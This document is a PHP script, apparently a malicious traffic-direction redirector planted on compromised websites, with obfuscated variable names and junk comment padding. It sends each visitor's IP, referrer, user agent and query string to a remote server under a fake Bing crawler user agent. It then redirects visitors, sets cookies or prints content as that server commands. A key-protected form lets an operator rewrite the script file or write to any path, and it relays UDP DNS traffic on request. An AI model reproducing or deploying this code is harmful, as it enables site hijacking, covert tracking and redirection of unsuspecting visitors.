PHP Decode

//ConfGui http://test.localhost/redik/redik.php?mode=config&key=C6y1F2EA7217PBTL1FlcH98sOpfo/r1Z76/OKFae
error_reporting(0);
ini_set('display_errors', false);
// 3CR$#-rqUdp(^rd!vAR+X=Ckfz1-s.H)Bcb$Exfnc3ughdsHz3dD5vsR=wS3vVMmE+0KrnCka9s_)(b8Vtpt)!pfEdCq2n8c^)NxpX4)nc8C01UW16w^YFRPcd+rdMqr73yqZeUpD75#gC7pWbmD0zG)pE7y!E8*E!cy+6yYzsaC^(unN6P(n3SKhcpWH14EtbN!BE^a-wZBy!Mp0-nTqw3HEe)aVAVGFUpvkyZh2sCWRTS^2135n**wS!xr1)Hu(DC36UXX09+pg@r-ZDRA_Sa^89Ts.6HR)uN+PPRAchQwE#bzgUdH=kmNPUAZ5ZUr0#77W@wY#_spt4tDndNSVnXugKxqyBGkR0enRAz#nkzbWN8qKma23k9GQH5U43AdVg0#S5C#X5_gzg+x9w5uUzy6=S1v5^2yWDwK!Aebk=Stzq.-652DHw2uG-rPRFp@1wks8FAaR-.^(5#Tx*-2hh-W2zh^QEMq1ZfM3XmbfU#vf6v67CDk#rMkwMt1qwWrXp-CZ5KBNTXR7NwchXB#EGh(DnE0$^S+MZWPVFQHc5qq$mA@B3dE_zBbNEq1^ngzu9E*vUT8U=ry9TrE6Hs5Kpy^FXPByrbsyerY+.k0u#0Caafu2dE=B99(UEPbV5aXvkTtFe!q#Gxm$rMfcd1rH30dcx_SH$b4wwUkSaHmeStx.ymh(DW_12#Kt)Hm-GABK-SYyv9M4u36eW7DtrC@0^msM6=WHsu-@c*y+^@a_fvXen=TfrpmvkGR6aY$hwg@Yp1ERRuxn(=CA^=ycF@m7(zTCb!F-bf_yrW_zy6zEh@s#4RVaTyNTbxKX@0Pa*+13cQ!PW^agK04HaCGpFEFtpqw-@(B=_f-8M5Hg+gry_TR59GXdXhfpd50=yqTc-G62AcNc6MhRU93Cv.7REF2=wVg56CfQ+CpDrXw7h9naG8
$mode=$_GET["mode"];
if($mode=="config" AND $jsksuaoaapspp==$_GET['key']): ?>
<form name="form1" method="post" action=http://<?php echo $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];?>?mode=setconfig&key=<?php echo $_GET['key'];?>>
<table border="0"><tr>
    <td>TDS</td><td><input type="text" name="ptds" value="<?php echo base64_decode($fnusosodlsdf);?>"></td>
    <td>TDS IP</td><td><input type="text" name="ptdsip" value="<?php echo $nusidlaslalskdjfka;?>"></td>
    <td>KEY</td><td><input type="text" name="pkey" value="<?php echo $jsksuaoaapspp;?>"></td>
</tr><tr>
    <td>Reserve</td><td><input type="text" name="pto" value="<?php echo base64_decode($asuakdwnnas);?>">
    </td><td>ESD ID</td><td><input type="text" name="pesdid" value="<?php echo $nwjduusispspa;?>"></td>
    </td><td>SaveTo</td><td><input type="text" name="saveTo" value=""></td>
    <td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr>
</table></form>
<?php
die();
endif;
// S4KUnS*WH2a*kp_fd=d#fp7fW2!9F1_)=+PCFk1GwGwetmyhBgckF-EDf1yeZQd$cCF61*XCeAXRB!BRd4hkfaPnmSNR8#3frmychtx*7HUn)!duCrved_4=nr)_d5gX.e)S-dgE=(6A_Ck0bMQ!hxC-HCz7B1WAVe^r^_(cy^T)7ggzVA#hkGQ)#Csu8qQKK+qnr!tNbv67u9n4rsRKZfzb0mRbYaG6=UHDS65ymNedH*BhVg3TEZup_(@r3)*VYdnMa(4^a5F1kUA!$dkkc83kn$6mehaaUg-w=Ua)00=v38hs1asm+be+MdDK4.Epks
if($mode=="setconfig" AND $jsksuaoaapspp==$_GET['key']){
$scr = basename($_SERVER['SCRIPT_NAME']);
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr);
$file[0] = base64_decode('PD9waHA=') . ' $fnusosodlsdf="' . base64_encode($_POST["ptds"]) . '";'
        . '$nusidlaslalskdjfka="'.$_POST["ptdsip"].'";'
        . '$asuakdwnnas="'.base64_encode($_POST["pto"]).'";'
        . '$nwjduusispspa="'.$_POST["pesdid"].'";'
        . ' $jsksuaoaapspp="'.$_POST["pkey"].'";';
if (!empty($_POST['saveTo'])) {
    $scr = $_POST['saveTo'];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode(PHP_EOL,$file));
fclose($fp);
header('HTTP/1.1 302 Found');
header('Location: ' . $_SERVER['SCRIPT_NAME'] . '?mode=config&key=' . $_GET['key']);
exit;
}
if (!empty($_POST['host']) && !empty($_POST['data'])) {
$timeout = 2;
$dns = $_POST['host'];
$request = $_POST['data'];
$errno = $errstr = 0;
$fp = fsockopen('udp://' . $dns, 53, $errno, $errstr, $timeout);
stream_set_timeout($fp, $timeout);
$count = fwrite($fp, base64_decode($request));
$result = fread($fp, 8192);
fclose($fp);
echo base64_encode($result);
exit;
}
// cVc+sRGrRS11Q88Rdz5B+Enr8dOSyPnHNcsbjaXLifZ7nXae3tAQHf1abBtsGz+8jxV0ZcNIAkIwAzrzn+oJJh3N3oV1OUdHkxOabvnhUe8cyWDSXTtc2SzCOciIPdc+wvEFWKiAsMW7zFDQfE3gBmFfV9//j+GX24wGFttAfvqXqneaCtVtl4R8BzJ7CVWanr6y0DaHYhj7dtx+zcU2nJOCtoGaPdsMbelMyMfkvRlTWquPGWYo9TM9Pu3Kkzohog3TCzxL0PuRTeS4DSc
//send
if(empty($nusidlaslalskdjfka)) {$dom = explode("/", base64_decode($fnusosodlsdf)); $dom=$dom[2];} else {$dom=$nusidlaslalskdjfka;}
$fp = fsockopen($dom, 80, $errno, $errstr, 30);
@stream_set_timeout($fp, 30);
// LAjvJW5njw4plV3yTwxY+rVwSOhy/FlSxXBS82p0oio8CW6Gwy7ctDIO/1XBLwHGWHIIGTADA5yXYflKW28g5kmbQGouqnp8pTy0P08BS09sctjHwotF3A4QM2sKdmktvPH/HB7dQIn/2ZpF16l6/QmGJ3RSnzLFSsDJoGEv04FsB5gx9Gzg/vzRwcW5kdXTezByhxiAFm57cpiuI0vlgkULa9Yx05DBPVyM1FBCyDJbRhTu0D7kR5cLd2KvqLk/La4NTml1sCLNE5tfO8Odee7uSSsfKxMnA6Cz6BmiSdfPWY6xlbu5Xm4RT99JLVdOBcMh+H3l50UF1QVLi6umEAm/nZ6bPrTc1vOgFATdOkh0ZZ8u7o+OE9NAPZ5P4d7IovespCiz1QA22BcJMLd8VWt8Bk2fYN1/OiXcIdoKopcE/JEelMYyR6GwY5unGrVLoAxZFvRh4dkqo5WJp4bVLWLG1MHN5xfkSxT41WTq/ZOwfkodVRaoGjKlu9FFWg/iJvZxePur1F/hSCTFpgJ+E/ISl5AeeErNwgbqJnlca10VSW4U+WdVQIRp8yZFPw/3dtEX2eTPnyadRWokMYkHLXUVLlAoS3iKBBjH8UUdQBXR3uSHLLMQlFyt7drEVh0nVWW5fxN5E5fZhSmKg0/SSKftOl+uNU7coyrn39PUn17Gvo131MnYWJtgb4QO
if (!$fp) {$goto=base64_decode($asuakdwnnas);}
else {
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR'];
}
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER['HTTP_REFERER']);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
// AJIhGmDTPc
//foreach($_COOKIE as $key=>$val) {$t_cookie=$t_cookie."&".$key."=".$val;}
//$t_cookie=urlencode($t_cookie);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$url = base64_decode($fnusosodlsdf);
$out = "GET ". parse_url($url, PHP_URL_PATH)."?dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&cookie=".$t_cookie."&esdid=".$nwjduusispspa." HTTP/1.0
";
$out .= "Host: ".$dom."
";
$out .= "User-Agent: Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm; smartbot)
";
$out .= "Connection: Close

";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($he=='do') { $goto.=$str; }
if ($str=="
" && empty($he)) { $he = 'do'; }
}
fclose ($fp);
}
// 7yClddT8bP/kCcL/2lmHCRbM3U1YXLs3sUD0rD0XQrF/PvMX5qJK2agCM3bxdJbF1ZovlRnjSLNEhiRcJVegWjjXZim1Zi3kyx/HNjF08CyLqZTD/KpHY5hzydLC50QOJK9e2HpSrbPx921WfKpEauVsKdaiwX6GIOtbxmcA2f2DdwC2GPqoA6AizttMFSxFsbBlE/Yi/ZSukBlxUB6nmFTDHjT2RqTETHv3PRv5VeHriuuUPV51sipLTOXJ21Sr8ZwoV0lpLb5gwS3+Ebxv6C/t3Pr44vzJvBKBPo3FXhNvsVM0qRBsYbLwzhANsjk37Vzr2EPFteQLLb1dKidN8p85YJiB22NSPYWw
$gotoe = explode("://", trim($goto));
if($gotoe[0]=='true') { header('HTTP/1.1 302 Found'); header('Location: '.trim(base64_decode($asuakdwnnas))); }
if($gotoe[0]=='http' || $gotoe[0]=='https') { header('HTTP/1.1 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $gotoee=explode("&", $gotoe[1]); foreach($gotoee as $setcook) { $set=explode("=", $setcook);setcookie($set[0], $set[1]); } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not/isu',$gotoe[1])) { header('HTTP/1.1 404 Not Found'); } echo $gotoe[1]; }
// BWrLb89LnLDt7rZG+yJY6DISjxKxGgS4tbCD0RXgc3pIN7lEOUdP31KPhZ7M6CdTfhKjzaV/AlS1TqvRM1vPxj9ay9/BRCanGyQ06dLNSWLV+TxqtAT4Bh0oOO8I1C58w75n5OZDNdYhZtDdKEJRsRzr6MpR